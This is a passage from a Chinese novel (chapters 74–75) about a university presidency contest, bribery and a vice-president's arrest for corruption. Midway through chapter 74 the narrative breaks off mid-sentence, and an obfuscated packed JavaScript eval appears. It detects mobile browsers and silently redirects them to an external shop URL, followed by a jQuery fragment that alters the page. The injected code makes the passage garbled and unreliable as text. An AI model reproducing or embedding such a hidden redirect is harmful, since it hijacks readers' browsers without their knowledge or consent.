钟德君说得慷慨激昂,顾明远却听得心如止水。他与钟德君虽然交好,但内心觉得和他并非同道,喝干杯中酒后打着哈哈说道:“我可不像你天生是闯荡江湖的料。你知道我这人没有什么大追求,小富即安、从一而终足矣。” 钟德君以为顾明远是不见兔子不撒鹰,干脆给他开出了“年薪30万”的价码。面对钟德君一脸的骄傲和豪气,顾明远忽然动了捉弄他的念头,故作不满拖长了音调:“三十万?钟总,我顾明远就值这个价?太……廉价了吧?” 钟德君以为游戏,直接伸出五根手指:“跟我一个级别,五十万,外加专车和女秘书,怎么样?哥们这下够诚意了吧?” 顾明远意识到钟德君确实是诚心相邀,不忍继续打嘴巴官司,于是敛着眉宇郑重地拒绝了他,气得钟德君将酒杯撴在桌子上直接开骂:“你这人怎么还是个木头脑壳呀。这么多年,你的那些理想早就破产了,还死守着象牙塔干嘛?说句不好听的,即使将来熬到了副校长、校长又怎么样呢?充其量不过是一个高级打工仔?” 钟德君的话粗粝而直白,顾明远却依然不为所动,只淡淡说道:“德君,我感谢你的好意。但是,人各有志,你就不要勉强了吧。”说完,端起酒杯说道:“来,干杯,可别浪费了这么好的酒。” 钟德君“诱降”的鸿门宴从黄昏一直喝到月上中天,钟德君的威胁利诱到底还是没能打动顾明远的“铁石心肠”。走出酒店,送走钟德君后,带着几分醉意的顾明远蹒跚地走在回校园的路上。清凉的夜风吹在发烫的脸上,让他打了几个激灵。“价值”、“打工仔”、“妃子”、“何荣坤”、“窝囊”……,这些看起来互不相连的词汇,如同沉浮的碎片,在他脑海里激烈冲撞,撕扯着他的魂灵。 正在内心挣扎最烈的时刻,二姐沈小满忽然从老家打来电话,告诉顾明远一个大大的喜讯——“枞树湾乡村学堂”得到了县上的批复,大家一致推举他担任学堂的“名誉校长”。 放下电话,空荡的办公室瞬间被一种前所未有的充实感填满。一幅温暖而清晰的画卷在他眼前徐徐展开:清晨,薄雾如轻纱般笼罩着枞树湾青翠的山峦,朝阳穿透云层,将金辉洒在学堂宽敞明亮的教室窗棂上。头发花白的老人们,穿着整洁的粗布衣裳,脸上带着孩童般求知的渴望与满足,端坐在崭新的课桌前,聆听老师讲解关于种植、关于健康、关于戏曲唱腔、关于竹编工艺等等实用而接地气的知识……。这样的与“碧海晴沙”里的谄媚腐化、办公室里的算计构陷,形成了天堂与泥淖般的鲜明对比。 望着窗外沉沉的夜色,顾明远忍不住喃喃自语道:“四十而不惑。是啊,不能再‘惑’下去了。是时候真正做些有意义的事情了。” 74. 东窗事发 周濂退休半年来,“双肩挑”的戈大垣不堪重负。经过反复陈情,上面终于同意启动楚江大学校长的遴选工作。 楚江大学这口常年“沸腾”的大锅里,新的气泡又开始密集地翻涌起来,就连普通教职工都能嗅出空气中弥漫的躁动与算计。人人仿佛都成了“义务组织部长”,传播的全都是与新校长人选的消息。有人在打印室“偶遇”,借火点烟时漏出半句“江副校长有戏”;有人在食堂角落用筷子蘸着汤汁写个“孟”字后又笑着抹去;有人在树荫下声音忽高忽低地谈论着秦冰纶的风头……。此刻的楚江大学,好像一个兜售秘闻的夜市,各种捕风捉影甚嚣尘上。 普通人尚且如此,三位当局者更是摩拳擦掌。主角之一的江川,无论是年龄、资历以及温尔文雅的学者形象,让人觉得更适合校长职位。江川本人却不这么认为。当年和周濂竞争时,就是因为轻信自己的实力,最后被周濂“弯道超车”截了胡。现在,同样的问题再次摆在他的面前,一位新的对手——副校长孟超,对校长职位正在虎视眈眈、势在必得。为此,在夫人方琳的襄助下,江川加快了对孟超各种举报投诉的步伐。 孟超当然也没有闲着。虽然知道江川是自己最大的对手,但他从来没有失去过对自己的信心:相差六岁的年龄优势和新校园建设的业绩口碑。这样的信心,让孟超对自己阵营中江、秦二人已是博士生导师的提醒不以为然。在他看来,学校的发展不是看谁的学问好、谁的资历高,而是需要敢担当、有魄力的人来担纲大任。从这个层面来讲,不要说是优柔寡断的江川,即便是雷厉风行的“女强人”秦冰纶,也未必是自己的对手。 尽管如此,孟超也不敢掉以轻心,在继续在校内的中层干部中“织网”的同时,想尽办法从外面寻找靠山。功夫不负有心人。最近,刘芳告诉他刚刚结识了一位“能够随意出入组织部部长办公室”的“人物”,这让孟超喜出望外,在许诺了几个新校园收尾工程后,让刘芳迅速安排和这个名叫苏秉章的人见面。 刘芳那边很快传来了消息。带着从汪清早那里化缘来的二十万元,两人在刘芳刻意安排的一家郊区外的会所中接上了头。 苏秉章个头不高,浑身却自带着一种让人仰望的气场。他走进包厢时脚步很慢,每一步都像在丈量某种看不见的尺度,目光既不左右顾盼,也不落在任何人身上,仿佛眼前的孟超和刘芳只是两件会呼吸的家具。他径直走向主座,那位置仿佛天生就是他的。孟超早已起身,双手热情地伸过去,苏秉章却只是让指尖蜻蜓点水般掠过对方的手掌,眼皮依旧耷拉着,从喉咙里滚出一句:“坐吧。”声音不高,却带着不容置喙的淡漠。 孟超那伸出的手僵在半空,只得讪讪收回,半个屁股小心地挨着椅边坐下,腰背不自觉地挺直,像个等待训话的学生。 苏秉章终于抬了抬眼皮。那不是普通的看,而是一种自上而下的、慢条斯理的审视。他的眼珠似乎蒙着一层薄雾,让你觉得他在看你,又好像穿透你在看别处;眼神扫过时,带着一种评估物件价值的冷静,以及一丝不易察觉的倦怠,仿佛见惯了孟超这般急切又敬畏的面孔。他不主动开口,任由沉默在茶香里发酵,手指有一下没一下地轻叩着桌面,那笃笃的轻响在安静的包厢里格外清晰,每一声都像敲在孟超紧绷的心弦上。 当他终于开口,语速总是慢半拍,字与字之间拖着一点慵懒的腔调,仿佛说的每件事都轻描淡写,却又字字千钧。偶尔,他会微微后仰,靠在椅背上,这个简单的动作由他做来,却像君王巡视疆土般自然,无声地划清了地位尊卑的界线。那份刻意为之的松弛感,与他周身散发的、不容靠近的疏离混合在一起,构成了一种奇特的“气度”——那不是真正的优雅,而是一种善于运用自身分量来制造压迫感的娴熟伎俩。他不必高声,不必疾言,只需用沉默、用眼神、用那慢吞吞的节奏,便将自己稳稳置于云雾环绕的高处,让仰视者愈发觉得他深不可测。 好在有刘芳在二人之间穿针引线,话题最终引到了孟超希望的轨道上来。 “苏总最近去组织部走动多吧?”借着斟茶,刘芳和苏秉章的目光无声交流了片刻。 “还行,”苏秉章半眯着眼,语气随意得像谈论天气:“前天去汉生部长办公室聊了会儿天。嗨,都是些升升降降的鸡毛蒜皮的小事情而已。” “汉生?”孟超的心剧烈震荡起来:这不是如雷贯耳的梅汉生部长吗?看看苏秉章如此随意提及,可见他们关系应该非同一般。 似乎看出了孟超心中的疑虑,苏秉章又有一搭没一搭和刘芳聊起自己在北京风云激荡的时光,不是掏出手机,从里面快速调出一两张自己在“人民大会堂”、“钓鱼台”的照片。孟超趁机偷偷扫视,孟超心中的疑虑瞬间打消大半。 为了博得苏秉章的好感,孟超特意将两瓶30年茅台摆在显眼的位置。没想到苏秉章却有些故作不满地瞥了刘芳一眼。刘芳心领神会:“嗨,都怪我,苏总什么场面没有经历过呀?今天,还是按惯例,喝苏总自带的‘粮食酒’。”说罢,从苏秉章随身的帆布包里取出一个大好矿泉水瓶来。 孟超有些失望,手中的茅台酒瓶不知如何安放。刘芳伸手抢过,和另一瓶一起塞进到苏秉章的帆布包中:“苏总应酬多,带回去吧。这也算孟校长一点心意。” 苏秉章眼皮一耷拉冷笑了句“都是些身外之物”,忽然抬起头来,目光在孟超身上游走了一圈后问道:“孟校长60年生人吧?” 孟超连忙点头,轻轻应道:“62年的。” 苏秉章将眼光移开,沉吟了片刻后说道:“48啦,说大不大,说小不小,是得抓点紧。” 孟超点头如捣蒜,刘芳也趁机为孟超助威。 苏秉章眯眼睨了刘芳一眼:“看来你倒挺关心孟校长。对了,你不是说他们楚江大学还欠着你的工程款呢嘛?” 孟超会意,当即表态一个月内会结清欠款的。刘芳喜笑颜开:“你看嘛,孟校这么给力,苏总也关心关心他呗。” 苏秉章捕捉到孟超太阳穴的跳动,淡淡说道:“升职可不比你做工程简单。唉,汉生也难呐,现在粥少僧多,就他们楚江大学这个校长位子,现在六七个人盯着呢。” 苏秉章轻飘飘的一句“六七个人盯着”,像根淬了冰的针,猝不及防扎进孟超的耳膜,又顺着血液直刺心脏。他手中的筷子“嗒”的一声滑落在骨碟边缘,一股寒气先从尾椎骨窜起,方才酒精熏蒸和苏秉章那些“高层掌故”而升腾起的些微燥热与希冀,此刻只剩下湿漉漉、沉甸甸的冰凉。“六七个人……”的数字在他脑中嗡嗡回响,不断放大。除了明面上的江川、秦冰纶,还有谁?是校内潜藏的角色?还是外面空降的人物?一时间,想象中面目模糊却威胁十足的影子,从四面八方围拢过来,让他太阳穴的血管突突跳得更加厉害。抬眼偷看了一下苏秉章,人家依然半眯着眼一副高深莫测的样子。情急之下,孟超也顾不得体面,起身将装有十万元的皮包假手刘芳放在了苏秉章的脚下。 苏秉章几乎看都不看一眼,端起酒杯,略微提高了嗓门:“来吧,总不能让酒杯空着呀。” 刘芳给孟超飞了个媚眼:“孟校长赶紧的,给‘关键先生’敬酒呀。” 孟超慌乱地端起杯子抵着苏秉章的杯脚碰了碰后一饮而尽。苏秉章象征性地舔了舔杯沿笑道:“我算什么‘关键先生’?不过认识几个人罢了。孟校长呢也别着急,该你的迟早都是你的嘛。” 虽未明确承诺,但释放的满是希望。孟超忙不迭又连敬了三杯。 最近各路“角儿”的表演,戈大垣尽收眼底。坐在办公室里,指尖的烟灰簌簌跌落,他的胸口莫名的有些发紧。眼下,他最担心的事现在班子里的几位副职做出过火的行为,影响的不只是校长归属,弄不好会殃及自己回到省厅的运筹。 现在,他的办公桌上就摆满了厚厚一摞的举报信。江川、孟超、秦冰纶无一幸免,都在被举报的名单中。戈大垣皱着眉头,狠狠摁灭烟头。为了防止局面失控波及学校和自己,他不得不挨个“谈心”进行敲打。首当其冲的便是行事高调的孟超。 闲扯了几句因资金困难尚未提上日程的三期工程后,戈大垣的话锋陡地转转到孟超对江川的看法上来。 孟超心里一沉:这难道是要为江川站台?他决定不再示弱,故意用试探说出了江川夫妇的传闻上。 戈大垣心里冷笑了一声:这与举报信上的内容倒是有些吻合。他抽出一支烟抛给孟超,孟超手一抖,烟掉在地上,赶紧狼狈捡起。戈大垣在鼻子上嗅了嗅手中的烟,声音低沉厚重,再次讲起了自己的那一套“补台拆台”理论:“老话说,相互补台,好戏连台;相互拆台,一起垮台。越是关键时候,越要讲大局、讲团结的嘛。你说对不对?” 孟超如芒在背。看见敲山震虎起了作用,戈大垣缓缓起身,意味深长地看了他一眼:“你们几位都优秀嘛,我当然希望大家都心想事成。孟校长年轻,可以姿态放低些,主动去和江校长他们谈谈心嘛。” 戈大垣的话不能不听。犹豫了两天,孟超敲开了江川办公室的门。 烟是两人之间最好的粘合剂。两杆烟枪吞云吐雾了一番后,开始心照不宣将话题转到了经济问题和哲学问题之上。 江川忽然叹了口气感慨起来:“孟校,你我这样的烟民应该得到奖章的嘛。税交得多,死得可能还早,这不等于给别人省下养老金了?” 孟超愣了片刻,连忙附和道:“是啊,人生苦短,名利都是过眼云烟罢了。” 江川显出“推心置腹”的样子:“不怕孟校见笑,我现在一有空就在家里参禅,很多东西都四大皆空啦。” 孟超心中嗤笑,嘴上却急切共鸣:“江校说得对。学校里总有一帮小人造谣我俩不和,全他妈的胡扯。大学是清净安宁的象牙塔,又不是你死我活的杀戮场。” 江川仿佛遇到知己:“老弟把话说到这份上,老哥也给你交个底。我这身体,王小二过年——一年不如一年,糖尿病高血压胃溃疡,每天抱着药罐子过日子。我早跟戈书记提过退二线保待遇的请求。唉,上面政策不允许啊。”说到这里,用力干咳几声说道:“老弟可以去问问戈书记,我在他那儿是极力推荐你来做校长的,你年轻有魄力,对发展是有利的嘛。” “肺腑之言”让孟超感动得眼圈微红。到底年轻,他有些失态起身握住江川双手,恨不得将自己的心掏出来。 初夏时节,暑气还未真正醒来,雨水润过的风像一匹凉滑的绸掠过肌肤,让人很是惬意。刚刚上班,就在人们还在办公室里各自做着上班前的准备工作的时候,忽然接到办公室的电话通知,半个小时后到学术报告厅参加中层干部会议。 近两百名副处级以上干部涓流般汇入报告厅坐定后,主席台上的丝绒幕布掀开,戈大垣陪着一位身着黑色行政夹克的中年男子步履稳重地走了出来。有几位老资历的处长认出,中年男子是组织部的原副部长。会场的气氛顿时紧张起来,一些人迫不及待地咬起了耳朵。戈大垣轻扣了几下话筒,示意会场保持肃静,并恭请原副部长讲话。他从随身的包里取出一份红头文件,目光威严地扫视了一眼台下的听众,清了一下嗓子后,开始照章宣读了起来。他的声音并不算大,加上带些江浙一带的口音,通篇念完,人们似乎只听清了“任命张茅同志为楚江大学校长”这一句话。 会场沉浸在一片错愕声中。当体态臃肿的张茅被请上主席台作表态发言时,人们才恍然惊觉:自己的耳朵并没有什么毛病,而是现实给大家开了一个玩笑。场下的目光如同探照灯般全都聚焦在台上这位即将年满五十七岁、平日总是自嘲“只想回家带孙子”的“老好人”身上。怎么可能?这个大大的问号在每个人心头炸开,又很快被原副部长手中的红头文件压制。 张茅一改往日温言细语、慢条斯理的话风,发言简练干脆、掷地有声:坚决服从决定,坚决履职尽责,坚决民主治校。就连台上的戈大垣,眼里也露出一丝诧异的光来。 张茅发言的同时,戈大垣有意扫视了一眼前排就座的校领导们:江川僵在椅中,宛如一尊瞬间风化的石雕,只有脸颊肌肉偶尔无法控制地抽搐几下。孟超脸如死灰,右手无力地撑在桌面上,眼神空洞散漫地望向主席台。秦冰纶下意识地将额前并不存在的发梢掠向耳后,低头无意识地快速翻动手中的笔记本。只有再过一个月就要退休的汤中臣脸上挂着事不关己的浅笑……。 宣布散会时,孟超几乎是第一个站起身来离开会场的人。回到办公室,他“咣当”一声将门反锁,像一滩泥般瘫在沙发床上,目光停留在天花板夹角处的蛛网上。他曾无数次设想过最后的结果:自己登顶、江川上位、秦冰纶逆袭、甚至外来户空降……,唯独没有将“张茅”这个名字纳入自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904275|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的视野。荒唐而又讽刺的是,这个言必称“早想提前退休”的“老好人”竟然接住了这个天降的馅饼。 此刻,隔壁张茅办公室外人声鼎沸、笑语喧天。这在孟超听来无比刺耳。恰在这时,窗外凤尾竹上几只灰喜鹊叽叽喳喳叫个不停,气得孟超一股邪火直冲头顶,猛地从沙发上跳将起来,抓起一把凤尾蝶的夹子狠狠撒向灰喜鹊,灰喜鹊竟然不为所动,叫得反而更欢了。无奈的孟超飞起一脚,对着张茅办公室的那面墙狠狠踹去,算是发泄了对喜鹊的不满。在办公室困兽般地走动了两圈后,又疯了似地拉开抽屉,扒出那份精心润色了无数遍就职演讲稿,用尽全身力气将它撕扯得粉碎,纸屑雪片般飘落了一地。 不知过了多久,心情稍有平复,孟超猛地意识到自己应该是被刘芳和苏秉章合伙做了个“局”。想起真金白银付出的二十万,剜得他的心疼得要滴出血来,在心底里愤怒地骂了句“婊子无情”,打定主意暂缓结清刘芳二期工程中的一千多万余款。 校长之争败走麦城的锥痛还未消散,汪清早传来的何荣坤一案即将开庭的消息,让孟超整个人如坠入深渊之中。这些天来,他心如沸水,日夜难宁,眉宇间终日凝着一团驱不散的阴云。夜深人静时,常被噩梦惊醒,冷汗涔涔,心跳如鼓,眼前总晃动着奇怪幻影。白日上班,总喜欢将自己反锁在办公室内,一遍遍回溯与何荣坤过往的每一次接触、每一个细节。这反复咀嚼的过程,如同钝刀割肉般令他心力交瘁,眼神里透出一股如丧考妣的萧瑟之气。 老婆韩梅当然体会不到孟超撕心裂肺的苦楚。在愤愤不平校长旁落时,她忽然对几天后的端午节憧憬起来,希望往日门庭若市的场景能够盛世重来。气得孟超骂了声“愚蠢”,脸色铁青地离开了家。 熬过了几个不眠之夜,孟超觉得当务之急是要和汪清早见上一面。 夏天的天色亮得早,为了避开人们的视线,两人特意选择凌晨六点在学校附近的马鞍山森林公园见面。在郁郁葱葱的樟树林下,孟超等了约十来分钟,汪清早的宝马车才在樟树林外的马路边上停下。淡淡的晨雾中,汪清早步伐迟缓、神色轻松,这让孟超心里又莫名地冒出火来。他心里清楚,现在不是对这位已是亿万富翁的“乡巴佬”发火在的时候。深吸了一口气,孟超努力让声音平稳:“老汪,小何那边,怕是快捂不住了呢。”嘴上小心翼翼投石问路,眼睛却紧盯着汪清早脸上每一丝细微变化。 汪清早并未如预想中焦急失色,眉头反而露出一抹古怪的淡然。他慢悠悠从口袋里掏出手机有节奏地摇晃了几下:“孟校,怕个球毛啊?我这里都有记录的。这些年按您的意思,我大概拿了80来万的样子吧。” 孟超惊诧地后退了几步:“汪总莫瞎说哦。怎么是按我的意思呢?” 汪清早并不说话,又再次摇了摇手机,嘴角浮起一丝冷笑:“我为什么要对老何‘慷慨’?孟校您应该门儿清啊?”“门儿清”三个字,被他咬得格外清晰。 汪清早不同寻常的态度,像一盆冰水兜头浇下,让孟超感到刺骨寒意顺着脊椎急速蔓延。只有他自己清楚,汪清早“放血”的80万,真正落入何荣坤口袋的其实是打了对折。剩下的……。孟超不敢往下深想,本来今天是准备来敲打汪清早不能妄言妄语,如今反被他拿捏住了“七寸”。孟超的脑子立刻乱成了一锅粥,只好有些低声下气地安慰起汪清早来。正说到统一口径的关键处,裤兜里的手机尖锐地嘶鸣起来。掏出手机一看是顾明远的电话,孟超猛地想起,早上安排了自己给分管部门科级以上干部讲授廉政专题课。眼看离开讲时间只有半个小时的样子,孟超只好带着讨好语气匆匆给汪清早交代了几句,便火急火燎地发动车子向学校方向疾奔而去。 刚在地下车库停稳车子,孟超的手在门把手上停滞下来,猛拍了几下脑门:咳,他妈的怎么把这事忘了呢。连忙拿起手机,给这些天一直在汉口娘家照顾瘫痪母亲的韩梅打去了电话,劈头就是一句“家里的那些存货处理完了没有呀”,韩梅知道“存货”指的是这十几年来接受的各种金银玉器和英镑美元这些玩意,只淡淡说了句“等我过几天回来后再处理呗”,急得孟超的声音里几乎带出了哭腔:“姑奶奶,都什么时候了呀”,说到这里,几乎是用央求的语气让韩梅立刻赶回家里。韩梅听出了些异样,答应马上动身,临了忍不住问道:“那几家黑心的店家开价太低了,不用等了?”看见手机里顾明远的来电显示,孟超只好对着手机吼了一句:“实在不行,全都丢进垃圾桶里算了”,便急匆匆地挂断电话。 孟超步伐有些凌乱走进会场。台下早已坐满了自己分管的六个部门的大大小小的干部。在顾明远简要介绍后,孟超强抑着狂乱的心跳,尽量语气平稳地念起了稿子。第一部分刚刚念完,正读到“警钟长鸣,洁身自好,坚决不取不义之财”时,眼角的余光忽然发现侧面的幕布后面有人影在晃动,后背莫名地冒出冷汗来。强迫自己稳住声线将讲稿全部念完,发现幕布后的人影依然在那里晃动,甚至有一个陌生的面孔从幕布后探出脑袋来往主席台上看了看。 当人流如同退潮般散去,空旷的会场变得令人窒息的寂静。正在低头收拾讲稿,学校纪委书记陪着三个陌生人从幕布后走了出来。没有多余言语交流,领头的男子出示了一下证件,孟超就被两人一左一右夹着走进了停在侧门的一辆商务车中。 车子并未立刻驶离校园,而是调转方向向孟超所在的家属楼缓缓开去。当几人簇拥着失魂落魄的孟超下车时,一辆“的士”“嘎吱”一声停在了不远处的路沿边,里面走出了因为堵车迟到的韩梅,远远地看到丈夫被带上楼的背影,韩梅臃肿的身体如同被重锤击中,积木倒塌般地瘫坐在冰冷的水泥地上。 孟超在会场被直接带走的消息,如同滚烫的热油骤然倾入楚江大学这潭看似平静的“冷水”之中。刹那间,整个校园“噼里啪啦”地沸腾、炸裂开来。消息传到江川耳朵时,他独自坐在办公室里好半天没有动弹。望着窗外熟悉的风景,心中却莫名翻涌起一阵兔死狐悲的苍凉。孟超的倒塌虽然有自己暗中推波助澜的“功劳”,现在的他竟没有一丝成功的喜悦,唯一的想法就是必须尽快结束与方琳三十年的婚姻关系。同样心情低落的还有秦冰纶,想起这些年和孟超之间有起有落、有冷有热的交往,心中莫名地生出一些恐惧和惊忧,担心城门失火最终殃及到自己这条“美人鱼”。 75. 梦想成真 目睹孟超被带走的全过程,顾明远内心的堤坝悄然开裂。那声沉闷的车门,在他胸腔里荡起持久的回音。随后几日,细密的不安和焦虑如藤蔓缠绕:指尖在暖房中无端冰凉,深夜总在心悸中惊醒。过往种种细节在脑中反复回放,每一份经他签名递出的文件,此刻都仿佛在纸页下潜伏着质问。恐慌逐渐弥散,同事的寻常寒暄、会议室里的咳嗽,都能让他的神经紧绷起来。最深的震荡在于对自我的怀疑——六年来基建工作时坚守的“清白”,当堤坝溃决时,自己能否独善其身、不被卷入?让他心悸的是:孟超现在是穷途末路之人,会不会像绝望的疯犬,为了一线生机胡乱撕咬,将污浊的泥水泼向自己? 这样的念头一旦生出,便如阴冷的藤蔓缠绕住了顾明远的心脏。现在,他急需一双能拨开迷雾的手。挑拣再三,似乎只有钟德君了。 茶室里雾气氤氲。钟德君呷了一口普洱,脸上带着“不出所料”的得意,手指在桌上轻轻敲击:“怎么样?哥们几年前的话,是不是一语成谶?楚江大学这潭水底下,全是搅混水的王八。”说罢,又开始老调重弹起“辞职加盟”。顾明远显出不耐烦来摆手阻止,钟德君只好息声,按照顾明远的要求帮助分析起来:“先说外。你那个老同学何荣坤,为了减刑,在法庭上肯定要有‘立功表现’,咬住孟超是必然的。再来说内,孟超这些年行事高调,树敌无数,进去只是时间的问题,现在,孟超为求自保,逮谁咬谁也再正常不过。老顾呀,你可别太书生气了,早做准备是必须的。” 顾明远声音带着一丝颤抖:“那……我该如何准备?” 钟德君忽然大笑起来,将身体靠向椅背:“也没什么了不起的。回去泡壶茶,关起门好好捋捋,把麻烦事一股脑推到孟超头上去呗,反正他现在是死猪不怕开水烫。” “都这个时候了,你就别开玩笑了呗。再说,你这一招是不是有些阴损了点?”顾明远着急起来。 “要不说你书生气呢。老顾你千万记住,这个时候了,千万不要妇人之仁。该说的全说出来,该撇清的一定撇干净。心软就是对自己的残忍。”盯着顾明远有些犹疑的脸,钟德君决定再下一剂猛药,声音阴冷地说道:“你总不能让安安难堪吧?” 这句话如惊雷在顾明远耳边炸响。再也坐不住的他猛地起身,内心打定主意要抓紧见见汪清早、韦江龙两人。 没想到当天晚上,汪清早不请自来,摸进了顾明远的家门。刚一进门,汪清早眼神慌乱、语无伦次:“没想到孟……真的进去了。万一他在里面胡说八道怎么办?” 看到他如此狼狈,顾明远原本忐忑的心莫名安定了许多,语气里近乎调侃:“我这个基建处长都不慌,你这大老板慌什么?” 汪清早急得跺脚:“顾处你说得轻巧。不瞒你说,老孟这些年可没让我放血打点何荣坤他们的。不怕一万就怕万一啊。”说罢,拉着椅子凑近了些,眼神卑微地请求道:“看在小满的面子,顾处给指条路吧?” 顾明远有些动了恻隐之心。这些年接触下来,汪清早油滑市侩的外壳下,多少还残存着几分底层摸爬滚打出来、尚未完全泯灭的淳朴和义气。他站起身来望着对方慌乱的眼睛单刀直入:“我只问一句,这些年你放血是主动为之还是被动接受?” 汪清早愣了一下,立刻头摇得像拨浪鼓:“主动?我疯了吗?每次都是孟超主动提出的呀。” “口说无凭。有证据吗?” 顾明远这一问让汪清早眼中闪过一丝狡黠的笑意,下意识摸出手机晃了晃:“关键的几次,都录了音呢。” 顾明远有些愕然,暗自嘲笑自己居然敢小看汪清早。羞窘之下,故意板起脸来:“行啊汪老板,深藏不露。闹半天你找我就是图个心理安慰吧?都知道该怎么做了,还跑我这儿演苦情戏?” 汪清早告诫解释,说是自己拿不准将手机里的“东西”主动上交还是被动等待。顾明远一时也心里没底,想了半天,也只是含糊地给了句“备用”的说法。 第二天刚走进办公室,韦江龙就急匆匆地推门闯了进来。从他乱蓬蓬的头发和黑乎乎的眼圈就能猜出,这些天没睡好觉。也不等顾明远招呼,韦江龙一屁股坐在沙发上不停地唉声叹气。 顾明远自然知道他的来意,也懒得兜圈子,径直问道:“江龙,事到如今,咱们打开天窗说亮话。孟超的那些事,你到底参与了多少?” 韦江龙身体僵直地站了起来,用力拍打着胸膛,激动和紧张让他的声音变得有些嘶哑:“天地良心。我韦江龙敢对天发誓,除了陪着吃喝之外,没拿过一分便宜。” “那你这么着急忙慌找我干什么?该干嘛干嘛呗。” 韦江龙又跌坐在沙发上。沉默许久,似乎最终下了决心,伸手从上衣口袋里掏出一张银行卡来:“我是为这个来的”,彷佛手中托着的不是卡而是一块烧红烙铁,将绿色卡片丢在茶几上。 顾明远以为他想给自己好处,脸色骤变,“噌”地弹起来,声音变调:“江龙你这是干什么?都什么时候了?你别害我。” 韦江龙意识到顾明远产生了误会,赶紧抢着解释。原来,这张卡是一个孟超让韦江龙保管供其随取随用“小金库”。担心顾明远不快,韦江龙慌忙补充:“你别多心。当初……当初老孟特意交代不让你知道这事,说是……你太讲原则了。” 顾明远听完,心中有一种劫后余生般的庆幸,长长吁出一口气,摇头苦笑:“这么说,我反倒得谢谢孟超当初的‘交代’了?要不然我得像你这样连睡觉都不踏实的。” 韦江龙没有心思咀嚼他的感慨,拿起卡片用力晃了晃:“顾处快拿个主意吧?这定时炸弹快把我逼疯了。” “里面还剩多少?” “大概……二十五万多点。”韦江龙脱口而出,随即像被自己报出的数字烫到,吓得赶紧闭嘴。 顾明远倒吸了一口冷气。在他有限的纪法常识中,这个数额似乎已触及到了红线。念及多年的共事之情,他低声追问道:“江龙你给我说实话哈。这笔钱保管期间,你有没有私自挪用?哪怕一分钱?想清楚再回答我。” 韦江龙像被蝎子蜇了般猛地跳起赌咒发誓:“我还不至于糊涂到这一步。”为证明清白,他又口袋里掏出一个磨损得厉害的长方形纸簿,双手颤抖地递给顾明远:“你看,每一笔进和出,时间、事由、金额,都记得清清楚楚。” 顾明远目光沉沉扫过纸簿上细如芝麻的字迹,缓缓开口:“江龙,或许……你该……带着这张卡,还有这本账,去……纪委主动说明情况。”似乎觉得不妥,又补充了一句:“当然,这只是我个人的想法,大主意还得你自己拿。” 韦江龙像抓住了一根,起身央求顾明远陪他一起去纪委,却遭到了不想惹火烧身的顾明远斩钉截铁的拒绝。 韦江龙走后,窗外天空上的乌云正悄然四合,沉沉压了下来。顾明远坐在办公室里沉思良久,决定要和书记戈大垣、校长张茅摊牌。 孟超出事后,戈大垣接连两次被上级约谈,重返省厅的希望近乎破灭。一向强势的他第一次显出战败般的颓唐,像一把骤然失了锋刃的旧刀,沉默而黯淡。他开始有意避开那些曾紧握不放的权力细节,将学校大大小小的事务,悉数推给新上任的校长张茅去处置。往日办公室里斩钉截铁的命令、雷厉风行的身影,如今只剩下一盏常亮的孤灯和一副日渐沉默的轮廓。 出乎所有人预料,新校长张茅甫一上任就撕去了往日温吞如水的面纱。在戈大垣授权后,更是露出了刚硬犀利的獠牙。不到一个月的工夫,他就决定对办公室主任桂先锋下手。这些年来,他早就受够了桂先锋欺上瞒下的两面嘴脸。尤其在就职当天的招待晚宴上,他依然唯戈大垣马首是瞻,对自己这位新任校长敷衍应付,这简直如一根荆刺扎进心头欲拔不能。在了解到戈大垣对桂先锋疏离冷淡后,张茅几乎未与其他人作任何商量,断然将桂先锋调离办公室,填补校工会常务副主席冯伟辞职后留下的空档。 当桂先锋怀揣着满腹委屈来到戈大垣处诉苦时,戈大垣着实吃了一惊。虽然自己对桂先锋早已意兴阑珊,但张茅如此急切调整如此重要部门的负责人,这让他心里多少有一些不快。但是,碍于新校长“上面有人”的背景,戈大垣权衡再三,干脆大度地送个顺水人情,心底里却打定主意:撤桂可以给你张茅面子,但继任人选绝不能让你一手遮天。 做了六年办公室主任、一心梦想挤进领导班子的桂先锋,几乎一夜之间,从楚江大学炙手可热的权力中心,跌进了工会办公室那片无人问津的冷清里。终日枯坐,四壁空空,只有旧日历窸窣作响,陪他熬着仿佛凝固的时光。恨意却像一条醒了毒的蛇,在他脏腑深处盘踞、噬咬,悄无声息地注入阴冷的毒液。他觉得自己是被整个世界推下台阶的。那些曾陪笑的脸、递烟的手,如今都成了记忆中精心编织的骗局。他开始用一种近乎荒唐的逻辑喂养心中的那条蛇:所有人都欠他的,所有人都参与了一场针对他的阴谋。他坐在这被遗忘的角落,明天琢磨的不是工作,而是如何报复那些让自己落魄难堪的人。在投送了几封举报张茅的匿名信没有得到回音后,他的内心更加焦灼,希望哪怕有一阵错刮的风能给他吹来一点能够点燃火药的火星。 这阵风还真是让他等来了。这天,坐在办公室里百无聊赖的时候,历史学院副院长林书锦忽然来访。就在桂先锋下马的这些天,林书锦的心思莫名地活络起来,对办公室主任这个以前可望不可即的宝座开始打起了主意。当秦冰纶隐隐约约透露张茅有意让顾明远继任办公室主任的职位时,妒火在林书锦的心中腾起。冷静下来后,他决定自己不能亲自操刀,脑袋里便跳出了桂先锋的身影。 在空旷的工会办公室里,林书锦脸上堆着恰到好处关切:“桂主席,……唉,学校下手也太狠了,简直有点飞鸟尽良弓藏的意思嘛。”当桂先锋眼里露出冰冷的寒芒后,不失时机地将椅子往他身边靠了靠,声音压得很低:“我听说张校长的这个决定和一个人有关。咳,我早就说过此人是貌似忠厚内藏奸诈的嘛。” 他的话音刚落,“顾明远”三个字就从桂先锋的嘴里迸了出来。林书锦却故意冷笑道:“这可是桂主席你说的。” 